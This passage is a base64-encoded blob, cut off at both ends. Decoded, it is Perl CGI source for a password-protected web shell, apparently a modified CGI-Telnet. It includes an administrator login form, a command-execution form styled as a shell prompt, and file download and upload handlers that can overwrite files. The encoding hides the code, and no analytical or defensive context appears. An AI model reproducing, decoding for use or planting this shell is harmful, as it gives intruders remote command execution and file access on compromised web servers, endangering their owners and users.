tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vd